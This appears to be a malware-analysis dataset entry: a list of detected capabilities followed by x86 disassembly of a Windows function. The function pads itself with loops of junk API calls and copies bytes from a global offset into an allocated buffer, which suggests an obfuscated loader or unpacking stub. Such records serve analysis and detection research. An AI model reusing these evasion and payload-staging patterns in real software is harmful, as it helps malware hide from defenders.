Function at 0x408250
Capabilities:
Connect pipe
Get common file path
Get file attributes
Get geographical location

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x42b004]
xor eax, esp
mov dword [esp + 0x30], eax
mov edx, dword [0x42cc00]
mov ecx, dword [0x52ce44]
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
nop
cmp eax, 0x8450db
jne 0x40828d
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x4082a1
mov dword [0x42e098], edi
mov dword [0x42e09c], esi
inc eax
cmp eax, 0xb9fa618
jl 0x408280
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x52ce44], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x4082c9
mov eax, dword [0x42cbf4]
mov dword [0x52ce48], eax
cmp ecx, 0x3c
jne 0x4082d7
push ebx
call edi
mov ecx, dword [0x52ce44]
inc esi
cmp esi, 0x5f6c74
jl 0x4082b7
cmp ecx, 0x7c
jne 0x408354
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
cmp dword [0x52ce44], 0x2d
jne 0x408345
push ebx
lea edx, [esp + 0x10]
push edx
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push ebx
call fcn.00401261
mov ecx, dword [0x52ce44]
add esp, 4
cmp ecx, 0x110a
jne 0x4083d7
push str.gucixi
mov dword [0x52cab0], ebx
mov dword [0x52cab4], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.xijofulefawoyetocohilumotozeli
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push ebx
call fcn.00401093
add esp, 4
push ebx
call fcn.00401093
add esp, 4
push ebx
push ebx
call fcn.00401277
push 0x4298e8
push 0x42db98
call fcn.0040100f
push ebx
call fcn.0040124a
add esp, 0x14
push ebx
call fcn.004015a7
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x52c7e4], eax
cmp dword [0x52ce44], ebx
jbe 0x40844c
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov ebx, dword [sym.imp.ADVAPI32.dll_GetPrivateObjectSecurity]
lea ebx, [ebx]
mov eax, dword [0x52ce48]
mov dword [esp + 0xc], eax
mov eax, 0xa231
add dword [esp + 0xc], eax
cmp dword [0x52ce44], 0x5ab
mov ecx, dword [esp + 0xc]
mov dl, byte [ecx + esi]
mov eax, dword [0x52c7e4]
mov byte [eax + esi], dl
jne 0x408441
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
inc esi
cmp esi, dword [0x52ce44]
jb 0x408400
xor ebx, ebx
push 0x4298ec
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.00407fb0
call fcn.004081e0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetACP]
xor esi, esi
nop
cmp esi, 0xbd9cb
jne 0x40847d
call fcn.00407fa0
cmp dword [0x52ce44], 0xc
jne 0x40848f
lea ecx, [esp + 0x10]
push ecx
call edi
call ebx
inc esi
cmp esi, 0x15a63d
jl 0x408470
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor esi, esi
lea edx, [esp + 0x14]
push edx
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x4084c9
cmp dword [esp + 0x1c], 0xf5bed7
jne 0x4084d2
inc esi
cmp esi, 0x1ece7a52
jl 0x4084a6
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
xor esi, esi
mov edi, 0x8e46a6f0
nop
cmp dword [0x52ce44], 0xcc1
jne 0x4084ee
call ebx
cmp esi, 0x12e6c3
jne 0x4084fb
call fcn.00407f90
inc esi
mov dword [0x52cab8], edi
cmp esi, 0x1519a5
jl 0x4084e0
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret